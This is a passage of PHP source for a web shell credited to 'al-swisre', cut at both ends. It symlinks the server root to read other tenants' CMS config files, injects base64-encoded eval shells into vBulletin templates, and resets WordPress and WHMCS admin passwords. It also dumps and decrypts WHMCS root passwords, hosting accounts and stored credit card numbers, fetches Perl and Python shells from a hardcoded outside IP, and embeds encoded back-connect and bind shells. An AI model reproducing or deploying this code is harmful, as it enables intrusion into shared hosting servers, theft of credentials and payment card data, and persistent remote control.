";
echo '
';
if(isset($_REQUEST['sws']))
{
switch ($_REQUEST['sws'])
{
////////////////////////////////////////////////// Symlink //////////////////////////////////////
case 'sm':
$sws = 'al-swisre' ;
$mk = @mkdir('sym',0777);
$htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$f =@fopen ('sym/.htaccess','w');
@fwrite($f , $htcs);
$sym = @symlink("/","sym/root");
$pg = basename(__FILE__);
echo ' ' ;
////////////////////////////////// file ////////////////////////
$sws = 'al-swisre' ;
if(isset($_REQUEST['sy']))
{
switch ($_REQUEST['sy'])
{
/// Domains + Scripts ///
case 'sec':
$d00m = @file("/etc/named.conf");
if(!$d00m)
{
die (" can't read /etc/named.conf");
}
else
{
echo "
Domains Script ";
foreach($d00m as $dom){
if(eregi("zone",$dom)){
preg_match_all('#zone "(.*)"#', $dom, $domsws);
flush();
if(strlen(trim($domsws[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
///////////////////////////////////////////////////////////////////////////////////
$wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
$wpp=@get_headers($wpl);
$wp=$wpp[0];
$wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
$wpp2=@get_headers($wp2);
$wp12=$wpp2[0];
///////////////////////////////
$jo1=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
$joo=@get_headers($jo1);
$jo=$joo[0];
$jo2=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
$joo2=@get_headers($jo2);
$jo12=$joo2[0];
////////////////////////////////
$vb1=$pageURL."/sym/root/home/".$user['name']."/public_html/includes/config.php";
$vbb=@get_headers($vb1);
$vb=$vbb[0];
$vb2=$pageURL."/sym/root/home/".$user['name']."/public_html/vb/includes/config.php";
$vbb2=@get_headers($vb2);
$vb12=$vbb2[0];
$vb3=$pageURL."/sym/root/home/".$user['name']."/public_html/forum/includes/config.php";
$vbb3=@get_headers($vb3);
$vb13=$vbb3[0];
/////////////////
$wh1=$pageURL."/sym/root/home/".$user['name']."public_html/clients/configuration.php";
$whh2=@get_headers($wh1);
$wh=$whh2[0];
$wh2=$pageURL."/sym/root/home/".$user['name']."/public_html/support/configuration.php";
$whh2=@get_headers($wh2);
$wh12=$whh2[0];
$wh3=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
$whh3=@get_headers($wh3);
$wh13=$whh3[0];
$wh5=$pageURL."/sym/root/home/".$user['name']."/public_html/submitticket.php";
$whh5=@get_headers($wh5);
$wh15=$whh5[0];
$wh4=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
$whh4=@get_headers($wh4);
$wh14=$whh4[0];
////////////////////////////////////////////////////////////////////////////////
////////// Wordpress ////////////
$pos = strpos($wp, "200");
$config=" ";
if (strpos($wp, "200") == true )
{
$config="Wordpress ";
}
elseif (strpos($wp12, "200") == true)
{
$config="Wordpress ";
}
///////////WHMCS////////
elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true )
{
$config=" WHMCS ";
}
elseif (strpos($wh12, "200") == true)
{
$config =" WHMCS ";
}
elseif (strpos($wh13, "200") == true)
{
$config =" WHMCS ";
}
///////// Joomla to 4 ///////////
elseif (strpos($jo, "200") == true)
{
$config=" Joomla ";
}
elseif (strpos($jo12, "200") == true)
{
$config=" Joomla ";
}
//////////vBulletin to 4 ///////////
elseif (strpos($vb, "200") == true)
{
$config=" vBulletin ";
}
elseif (strpos($vb12, "200") == true)
{
$config=" vBulletin ";
}
elseif (strpos($vb13, "200") == true)
{
$config=" vBulletin ";
}
else
{
continue;
}
/////////////////////////////////////////////////////////////////////////////////////
$site = $user['name'] ;
echo "".$domsws[1][0]."
".$config." "; flush();
exit;
}
}
}
}
break;
/// user + domine + symlink ///
case 'sym':
$d00m = @file("/etc/named.conf");
if(!$d00m)
{
die (" can't read /etc/named.conf");
}
else
{
echo "Domains Users symlink ";
foreach($d00m as $dom){
if(eregi("zone",$dom)){
preg_match_all('#zone "(.*)"#', $dom, $domsws);
flush();
if(strlen(trim($domsws[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
$site = $user['name'] ;
@symlink("/","sym/root");
$site = $domsws[1][0];
$ir = 'ir';
$il = 'il';
if (preg_match("/.^$ir/",$domsws[1][0]) or preg_match("/.^$il/",$domsws[1][0]) )
{
$site = "".$domsws[1][0]."
";
}
echo "
".$user['name']."
symlink
";
flush();
}
}
}
}
break;
case 'pl':
if (!is_dir('sa2')){
$mk = @mkdir('sa2',0777);
if (is_file('sa2/perl.pl'))
{
echo "Symlink Perl ";
@chmod('sa2/perl.pl',0755);
}
else
{
$f2 =@fopen ('sa2/perl.pl','w');
$sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+W35dIFBhaW4gU3ltbGluazwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N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wcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KIH0NCnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+RG9uZSAhITwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7DQp9DQp9DQogcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+Ijs=";
$write = fwrite ($f2 ,base64_decode($sml_perl));
if ($write)
{
@chmod('sa2/perl.pl',0755);
}
echo "Symlink Perl ";
}
break;
}
/// home ///
}
}
else
{
echo '
The file path to symlink
';
$pfile = $_POST['file'];
$symfile = $_POST['symfile'];
$symlink = $_POST['symlink'];
if ($symlink)
{
@symlink("$pfile","sym/$symfile");
echo ''.$symfile.' ';
exit;
}else {exit;}
}
break;
//////////////////////// mysql ///////////////////////////////////////////////////////////////////////////////
case 'ms':
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
////////////////// HEEEEEEEEEEEEERE /////////////////////////////////////////////// HEEEEEEEEEEEEERE /////////////////////////////
if ($_GET['show'] == 'tb'){
$host_c = $_COOKIE['host_mysql'];
$user_c = $_COOKIE['user_mysql'];
$pass_c = $_COOKIE['pass_mysql'];
$db_c = $_COOKIE['db_mysql'];
$con = @mysql_connect($host_c,$user_c,$pass_c);
$sel = @mysql_select_db($db_c);
if(!$sel){ echo "mysql connect error" ; exit;}
$dbname = $db_c;
$pTable = mysql_list_tables( $dbname ) ;
$num = mysql_num_rows( $pTable );
echo "
Tables Rows ";
for( $i = 0; $i < $num; $i++ ) {
$tablename = mysql_tablename( $pTable, $i );
$sq3l=mysql_query("select * from $tablename");
$c3t=mysql_num_rows($sq3l);
echo "
".$c3t."
";
if ($tablename == 'template') { $secript = 'vb'; }
else if ($tablename == 'wp_post') {$secript = 'wp';}
else if ($tablename == 'jos_users') {$secript = 'jm';}
else if ($tablename == 'tbladmins') {$secript = 'wh';}
}
if ($secript == 'vb')
{
echo '
Options vBulletin
[ Update Index ]
[ Inject shell ]
[ Show members Information ]
';
}
else if ($secript == 'wp')
{
echo '
Options Wordpress
[ Change admin ]
[ Show members ]';
}
else if ($secript == 'wh'){
echo '
Options Whmcs
[ roots ]
[ Clients Hosting Account ]
[ Cards ]
[ tickets ]
[ ticket replies ]
[ Search ticket ]
[ Change admin ]';
}
else{echo ' ';}
/////////////// cmd ////////////////////////////////
echo "
[
baukup ]
[
Inject css ]
[ Logout ] ";
if (isset($_POST['cmd']))
{
$sql = $_POST['sql'];
$query =@mysql_query($sql,$con) or die;
if ($query){echo "
CMD sql successfully
";} elseif(!$query) {echo "
CMD sql error
";}
}
exit;
}
///////////////////// show cl ///////////////
else if ($_GET['show'] == 'cl')
{
$host_c = $_COOKIE['host_mysql'];
$user_c = $_COOKIE['user_mysql'];
$pass_c = $_COOKIE['pass_mysql'];
$db_c = $_COOKIE['db_mysql'];
$con = @mysql_connect($host_c,$user_c,$pass_c);
$sel = @mysql_select_db($db_c);
$tb = $_GET['tb'];
$col_sws = mysql_query("SHOW COLUMNS FROM $tb");
$num2 = mysql_num_rows( $col_sws );
echo "
Columns Name Content ";
for( $i2 = 0; $i2 < $num2; $i2++ ){
$col = mysql_fetch_row($col_sws) ;
$um_sws = $col[0];
echo "$um_sws " ;
$tit = mysql_query ("SELECT * FROM $tb" );
while ($row = mysql_fetch_assoc($tit))
{
$cont = $row[$um_sws] ;
echo "$cont " ;
}
;
}
exit;
}
if (isset($_COOKIE['host_mysql'])){
if (!isset($_GET['op'])){
echo " ";
exit;
}
}
else if (!isset($_COOKIE['host_mysql']))
{
if (!isset($host))
{
echo '
host :
user :
pass :
db :
';
exit;}
else
{
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
$con = @mysql_connect($host,$user,$pass) ;
$sel = @mysql_select_db($db,$con);
if (!$sel)
{
echo " MYSQL INFOTMATI NOT TREY ";
}
else
{
setcookie( "host_mysql", $host);
setcookie( "user_mysql", $user);
setcookie( "pass_mysql", $pass);
setcookie( "db_mysql", $db);
ob_end_flush();
echo "
";
exit;
}}}
/////////////////////////////////// Options /////////////////////////////////////////
if (isset($_GET['op']))
{
$op = $_GET['op'];
$host_c = $_COOKIE['host_mysql'];
$user_c = $_COOKIE['user_mysql'];
$pass_c = $_COOKIE['pass_mysql'];
$db_c = $_COOKIE['db_mysql'];
$con3 =@mysql_connect($host_c,$user_c,$pass_c) or die ;
$sedb3 =@mysql_select_db($db_c,$con3) or die;
if (!$sedb3){echo "error in mysql connect "; exit;}
/////// index vb ////////
if ($op == 'in')
{
if (!isset($index)){
echo '
Your index :
';
}
else if ($_POST['sql'])
{
$index =$_POST['index'];
$index=str_replace("\'","'",$index);
$crypt = "{\${eval(base64_decode(\'";
$crypt .= base64_encode("echo \"$index\";");
$crypt .= "\'))}}{\${exit()}}";
$sqlindex = "UPDATE `template` SET `template` = '$crypt'" or die;
$query =@ mysql_query($sqlindex);
if ($query)
{
echo "
Updated Index successfully
";
echo "
[ Back ] ";
exit;
}
else if (!$query)
{
echo "
Updated Index erorr
";
echo "
[ Back ] ";
exit;
}
}
}
/////// shelllll ///////////
else if($op == 'sh')
{
if (!isset($_POST['ch']))
{
echo '
Inject shell in faq
Inject shell in calendar
Inject shell in search
';
} if (isset($_POST['sql'])){
$ch = $_POST['ch'];
$shell = "DQoNCmVjaG8gJzxiPlsgYWwtc3dpc3JlIF0mbmJzcDsmbmJzcDtbIFNhdWRpIHNoZWxsIF08YnI+PGJyPjxicj48L2I+JzsgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsgZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7IGlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsgaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+VXBsb2FkIFN1Y2Nlc3MgISEhPC9iPjxicj48YnI+JzsgfSBlbHNlIHsgZWNobyAnPGI+VXBsb2FkIEZhaWwgISEhPC9iPjxicj48YnI+JzsgfSB9IA0KPz4=" ;
$crypt = "{\${eval(base64_decode(\'";
$crypt .= "$shell";
$crypt .= "\'))}}{\${exit()}}";
if ($ch == 'faq'){$sqlfaq="UPDATE template SET template ='".$crypt."' WHERE title ='FAQ'";}
elseif ($ch == 'cal'){$sqlfaq="UPDATE template SET template ='".$crypt."' WHERE title ='CALENDAR'";}
elseif ($ch == 'sea'){$sqlfaq="UPDATE template SET template ='".$crypt."' WHERE title ='search_forums'";}
$query =@ mysql_query($sqlfaq);
if ($query)
{
echo "
Injection has been successfully
";
echo "
[ Back ] ";
exit;
}
else if (!$query)
{
echo "
Injection has been erorr !
";
echo "
[ Back ] ";
exit;
}
}
}
else if ($op == 'shm')
{
$sql = 'select * from `user`';
$query =@ mysql_query($sql);
if ($query)
{
while ($row = mysql_fetch_assoc($query))
{
echo "
ID :
user :
pass :
salt :
email :
".$row['userid']."
".$row['username']."
".$row['password']."
".$row['salt']."
".$row['email']."
";
}}
}
else if ($op == 'out')
{
setcookie( "host_mysql", $host,time()-3600);
setcookie( "user_mysql", $user,time()-3600);
setcookie( "pass_mysql", $pass,time()-3600);
setcookie( "db_mysql", $db,time()-3600);
ob_end_flush();
echo "
";
exit;
}
///////////////////////////////// whmcs ////////////////////////////////////////
else if ($op == 'hroot')
{
if (isset($_POST['viw']))
{
$hash = $_POST['hash'] ;
$query = mysql_query("SELECT * FROM tblservers");
echo "
hosting roots
Type noc Active IP Address username Password ";
while($row = mysql_fetch_array($query)) {
echo "
{$row['type']} {$row['noc']} {$row['active']} {$row['ipaddress']} {$row['username']} ".decrypt($row['password'], $hash)."
";
}
echo "
";
$query = mysql_query("SELECT * FROM tblhosting where username = 'root' or 'admin' or 'administrator'");
echo "
Clients roots
IP Address username Password ";
while($row = mysql_fetch_array($query)) {
echo "
{$row['dedicatedip']} {$row['username']} ".decrypt($row['password'], $hash)."
";
}
echo "
";
echo "
[ Back ] ";
exit;
}
else
{
echo'
encryption hash
';
exit;
}
}
//////////// domine ////////////
else if ($op == 'scard')
{
if (isset($_POST['viw']))
{
$hash = $_POST['hash'] ;
$query = mysql_query('select * from `tblclients`') ;
echo "
";
while($v = mysql_fetch_array($query)) {
echo "
cardtype
id
firstname
lastname
email
city
ciuntry
address1
lastlogin
phonenumber
datecreated
cardnum
startdate
expdate
";
echo "
{$v['cardtype']}
{$v['id']}
{$v['firstname']}
{$v['lastname']}
{$v['email']}
{$v['city']}
{$v['ciuntry']}
{$v['address1']}
{$v['lastlogin']}
{$v['phonenumber']}
{$v['datecreated']}
".decrypt ($v['cardnum'], $hash)."
".decrypt ($v['startdate'], $hash)."
".decrypt ($v['expdate'], $hash)."
";
echo "
[ Back ] ";
exit;
}
}else
{
echo'
encryption hash
';
exit;
}
}
else if ($op == 'chost')
{
if (isset($_POST['viw']))
{
$hash = $_POST['hash'] ;
$query = mysql_query("SELECT * FROM tblhosting");
echo "
domain Username Pass IP Address ";
while($r = mysql_fetch_array($query)) {
echo "{$r['domain']} {$r['username']}
".decrypt ($r['password'], $hash)." {$r['dedicatedip']} ";
}
echo "
";
echo "
[ Back ] ";
exit;
}
else
{
echo'
encryption hash
';
exit;
}
}
else if ($op == 'cadmin')
{
if (isset($_POST['viw']))
{
$pass = md5($_POST['pass']);
$user = $_POST['user'];
$query =@mysql_query("UPDATE `tbladmins` SET `username` ='".$user."' WHERE ID = 1");
$query =@mysql_query("UPDATE `tbladmins` SET `password` ='".$pass."' WHERE ID = 1");
if ($query)
{
echo "
Updated admin successfully
";
echo "
[ Back ] ";
exit;
}
else if (!$query)
{
echo "
Updated admin erorr
";
echo "
[ Back ] ";
exit;
}
}
else
{
echo'
user :
pass :
';
exit;
}
}
else if ($op == 'trak')
{
$page = $_GET['page'];
$numpr = 30;
if(!$page){$page = 0;}
$sql0 = mysql_query("Select * from tbltickets");
$num_r0s = mysql_num_rows($sql0);
$sql = mysql_query("Select * from tbltickets order by id desc limit $page,$numpr");
$ap = 1;
echo "
Page : ";
for ($s = 0 ; $s < $num_r0s; $s = $s+$numpr )
{
if ($page != $s) { echo "
$ap ";}
else {echo "
$ap ";}
$ap ++;
}
echo "
";
while ($r3o = mysql_fetch_assoc($sql))
{
$email = $r3o['email'];
$date = $r3o['date'];
$title = $r3o['title'];
$message = $r3o['message'];
echo "
";
echo "email : $email date : $date title : $title
message $message ";
echo "
";
echo "
[ Back ] ";
exit;
}
}
else if ($op == 'rtrak')
{
$page = $_GET['page'];
$numpr = 25;
if(!$page){$page = 0;}
$sql0 = mysql_query("Select * from tblticketreplies");
$num_r0s = mysql_num_rows($sql0);
$sql = mysql_query("Select * from tblticketreplies order by id desc limit $page,$numpr");
$ap = 1;
echo "
Page : ";
for ($s = 0 ; $s < $num_r0s; $s = $s+$numpr )
{
if ($page != $s) { echo "
$ap ";}
else {echo "
$ap ";}
$ap ++;
}
echo "
";
while ($r3o = mysql_fetch_assoc($sql))
{
$email = $r3o['email'];
$date = $r3o['date'];
$message = $r3o['message'];
echo "
";
echo "email : $email date : $date
message $message ";
echo "
";
echo "
[ Back ] ";
exit;
}
}
/////////////////////////////////// backup //////////////////////////
else if ($op == 'bkup')
{
if (isset($_POST['viw']))
{
$path = $_POST['path'];
$domp = @backup_tables($path,$host_c,$user_c,$pass_c,$db_c);
echo "
Create backup successfully $path
";
echo "
[ Back ] ";
exit;
}
else
{
echo'
path backup
';
exit;
}
}
else if ($op == 'sh3')
{
if (isset($_POST['viw']))
{
$string = $_POST['string'];
$ch = $_POST['ch'];
if ($ch == 'trs')
{
$sql4 = @mysql_query("Select * from tblticketreplies WHERE `message` LIKE '%$string%'");
}
else if($ch == 'tr')
{
$sql4 = @mysql_query("Select * from tbltickets WHERE `message` LIKE '%$string%' ");
}
$nu0 = @mysql_num_rows($sql4);
if ($nu0 == 0){echo "No result"; exit;}
while ($r33o = mysql_fetch_assoc($sql4))
{
$date = $r33o['date'];
$title = $r33o['title'];
$message = $r33o['message'];
echo "
";
echo "email : $email date : $date title : $title
message $message ";
echo "
";
exit;
}
}
else
{
echo'
search :
ticket
ticket replies
';
exit;
}
}
else if ($op == 'sh3')
{
if (isset($_POST['viw']))
{
$string = $_POST['string'];
$ch = $_POST['ch'];
if ($ch == 'trs')
{
$sql4 = @mysql_query("Select * from tblticketreplies WHERE `message` LIKE '%$string%'");
}
else if($ch == 'tr')
{
$sql4 = @mysql_query("Select * from tbltickets WHERE `message` LIKE '%$string%' ");
}
$nu0 = @mysql_num_rows($sql4);
if ($nu0 == 0){echo "No result"; exit;}
while ($r33o = @mysql_fetch_assoc($sql4))
{
$date = $r33o['date'];
$title = $r33o['title'];
$message = $r33o['message'];
echo "
";
echo "email : $email date : $date title : $title
message $message ";
echo "
";
}
}
else
{
echo'
search :
ticket
ticket replies
';
exit;
}
}
else if ($op == 'css')
{
if (isset($_POST['viw']))
{
$index = $_POST['index'];
$seh = $_POST['string'];
$rs = search($seh);
if(count($rs) == 0){echo 'No result';exit;}
foreach ($rs as $info)
{
$table = $info['table'];
$column = $info['column'];
echo "table : $table
column : $column
";
exit;
}
}
else
{
echo'
search :
Css url :
';
exit;
}
if (isset($_POST['v']))
{
$seh = $_POST['shearc'] ;
$table = $_POST['table'];
$column = $_POST['column'] ;
$rlcss = $_POST['index'] ;
$data = "
";
$query = mysql_query("UPDATE ".$table." SET ".$column." ='$data' WHERE `$column` LIKE '%$seh%'") or die(mysql_error());
if($query){
echo "
Injection has been successfully
";
echo "
[ Back ] ";
exit;
}else{
echo '
Injection erorr
';
exit;
}
}
}
else if ($op == 'awp')
{
if (isset($_POST['viw']))
{
$pass = $_POST['pass'];
$user = $_POST['user'];
$crypt = crypt($pass);
$query =@mysql_query("UPDATE `wp_users` SET `user_login` ='".$user."' WHERE ID = 1") or die;
$query =@mysql_query("UPDATE `wp_users` SET `user_pass` ='".$crypt."' WHERE ID = 1") or die;
if ($query)
{
echo "Updated admin successfully
";
echo "[ Back ] ";
exit;
}
else if (!$query)
{
echo "Updated admin erorr
";
echo "[ Back ] ";
exit;
}
}
else
{
echo'
user :
pass :
';
}
}
else if ($op == 'shwp')
{
$sql = 'select * from `wp_users`';
$query =@ mysql_query($sql);
if ($query)
{
while ($row = mysql_fetch_assoc($query))
{
echo "
ID :
user :
pass :
email :
".$row['ID']."
".$row['user_login']."
".$row['user_pass']."
".$row['user_email']."
";
echo "[ Back ] ";
exit;
}}
}
}
break;
/////////////////////////////////////////////// info ///////////////////////////////////
case 'info':
$sws = 'al-swisre' ;
if ($sws != 'al-swisre'){echo "Coded by al-swisre"; exit;}
if(strlen($dir)>1 && $dir[1]==":")
$os = "Windows";
else $os = "Linux";
$read = @file_get_contents("http://s92443018.onlinehome.us/cgi-bin/host.php?$ips");
$r3ad = @file_get_contents("http://aruljohn.com/track.pl?host=$ips") ;
$ipnet = @findit($read,"IP-Network "," ");
$ipb = @findit($read,"IP-Network-Block "," ");
$hostname = @findit($read,"Hostname:"," ");
$isp = @findit($r3ad,"ISP"," ");
echo "
Information Server
Hostname ".$hostname."
ISP ".$isp."
IP-Network ".$ipnet."
IP-Network-Block ".$ipb."
Safe Mode ".(($safe_mode)?(" : ON "):("OFF "))."
System ".$os."
PHP Version ".phpversion()."
Zend Version ".@zend_version()."
Magic_Quotes ". magicQouts()."
Curl ".Curl()."
Register Globals ".RegisterGlobals()."
Open Basedir ".openBaseDir()."
Gzip ".Gzip()."
Free Space ".HardSize(disk_free_space('/'))."
Total Space ".HardSize(disk_total_space("/"))."
MySQL ".MySQL2()."
MsSQL ".MsSQL()."
PostgreSQL ".PostgreSQL()."
Oracle ".Oracle()." ";
exit;
break;
///////////////////////////////// bypass ///////////////////////
case 'byp':
echo ' ' ;
$op = $_GET['op'];
if(@$_GET['dir']){
$dir = $_GET['dir'];
if($dir != 'nullz') $dir = @cleandir($dir);
}
if ($op == 'shell')
{
$sh = $_GET['sh'];
////////////////////////// perl or python //////////////////////
if (!isset($_POST['get']))
{
echo "
Path shell :
name shell :
htaccess :AddHandler cgi-script .sa
";
}else {
$path = $_POST['path'];
$name = $_POST['name'];
$htac = $_POST['htx'];
if (isset($htac))
{
$fop = @fopen("$path/.htaccess", 'w');
@fwrite($fop,$htac);
@fclose($fop);
}
$rpath = $path."/".$name;
if ($sh == 'perl')
{
$url_shell = 'http://64.15.137.117/~google/cgi-bin/perl.zip'; /// perl
$path = $dir."/".$d3r."/"."sa.pl";
}
else if($sh == 'py')
{
$url_shell = 'http://64.15.137.117/~google/cgi-bin/python.zip'; /// python
$path = $dir."/".$d3r."/"."sa.py";
}
//// get shell///
$fp = @fopen($rpath, 'w');
$ch = @curl_init($url_shell);
@curl_setopt($ch, CURLOPT_FILE, $fp);
$data = @curl_exec($ch);
@curl_close($ch);
@fclose($fp);
if (!is_file($rpath))
{
$ch = @curl_init($url_shell);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = @curl_exec($ch);
@curl_close($ch);
@file_put_contents($rpath, $data);
}elseif (@is_file($rpath)) {
$ch =@chmod($rpath,0755);
echo "Sh3ll have been created
$rpath";
}else {echo "error";}
}
}
///////////////////// get file ////////////////////
elseif ($op == 'g3t')
{
if (!isset($_POST['get']))
{
echo 'Get file
Url file :
to :
' ;exit;
}
else
{
$url_shell = $_POST['file'];
$path = $_POST['path'];
$fp = @fopen($path, 'w');
$ch = @curl_init($url_shell);
@curl_setopt($ch, CURLOPT_FILE, $fp);
$data = @curl_exec($ch);
@curl_close($ch);
@fclose($fp);
if (!is_file($path))
{
$ch = @curl_init($url_shell);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = @curl_exec($ch);
@curl_close($ch);
@file_put_contents($path, $data);
}elseif (@is_file($path)) {
echo "got the file successfully
$path"; exit;
}else {echo "error";}
}
}else if(!isset($op)) {}
break;
/////////////////////////////////////////////////// Connect Back ////////////////////////////////////
case 'con':
if (!isset($_POST['con']))
{
echo "";
echo "
Back Connect :
Ip :
Port :
PHP
Perl
Python
Bind Connect : Port :
Perl
Python
";
exit;
}else
{
if ($_POST['con'] == 'Connect') {
$ip = $_POST['ip'] ;
$port = $_POST['port'] ;
$op = $_POST['op'] ;
$bind_perl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oU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BpbiBCaW5kaW5nIDogIixlOyANCiAgICAgc3lzLmV4aXQoMSk7ICANCiANCnByaW50KCJcblxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KcHJpbnQoIi0tLS0tLS0tIFNlcnZlciBMaXN0ZW5pbmcgb24gUG9ydCAlZCAtLS0tLS0tLS0tLS0tLSIgJSBwb3J0KTsgIA0KcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iKTsgDQogDQp0cnkgOiAgDQogICAgIHdoaWxlIDEgOiAjIGxpc3RlbiBmb3IgY29ubmVjdGlvbnMgIA0KICAgICAgICAgc29ja2ZkLmxpc3RlbigxKTsgIA0KICAgICAgICAgY2xpZW50c29jayAsIGNsaWVudGFkZHIgPSBzb2NrZmQuYWNjZXB0KCk7ICANCiAgICAgICAgIHByaW50KCJcblxuR290IENvbm5lY3Rpb24gZnJvbSAiICsgc3RyKGNsaWVudGFkZHIpKTsgIA0KICAgICAgICAgd2hpbGUgMSA6ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIGNtZCA9IGNsaWVudHNvY2sucmVjdihTSVpFKTsgIA0KICAgICAgICAgICAgIGV4Y2VwdCA6ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICBwaXBlID0gb3MucG9wZW4oY21kKTsgIA0KICAgICAgICAgICAgIHJhd091dHB1dCA9IHBpcGUucmVhZGxpbmVzKCk7ICANCiANCiAgICAgICAgICAgICBwcmludChjbWQpOyAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgIGlmIGNtZCA9PSAnZzJnJzogIyBjbG9zZSB0aGUgY29ubmVjdGlvbiBhbmQgbW92ZSBvbiBmb3Igb3RoZXJzICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tLS0tLS0tLS0iKTsgIA0KICAgICAgICAgICAgICAgICBjbGllbnRzb2NrLnNodXRkb3duKCk7ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIG91dHB1dCA9ICIiOyAgDQogICAgICAgICAgICAgICAgICMgUGFyc2UgdGhlIG91dHB1dCBmcm9tIGxpc3QgdG8gc3RyaW5nICANCiAgICAgICAgICAgICAgICAgZm9yIGRhdGEgaW4gcmF3T3V0cHV0IDogIA0KICAgICAgICAgICAgICAgICAgICAgIG91dHB1dCA9IG91dHB1dCtkYXRhOyAgDQogICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIGNsaWVudHNvY2suc2VuZCgiQ29tbWFuZCBPdXRwdXQgOi0gXG4iK291dHB1dCsiXHJcbiIpOyAgDQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICBleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tIik7ICANCiAgICAgICAgICAgICAgICAgY2xpZW50c29jay5jbG9zZSgpOyAgD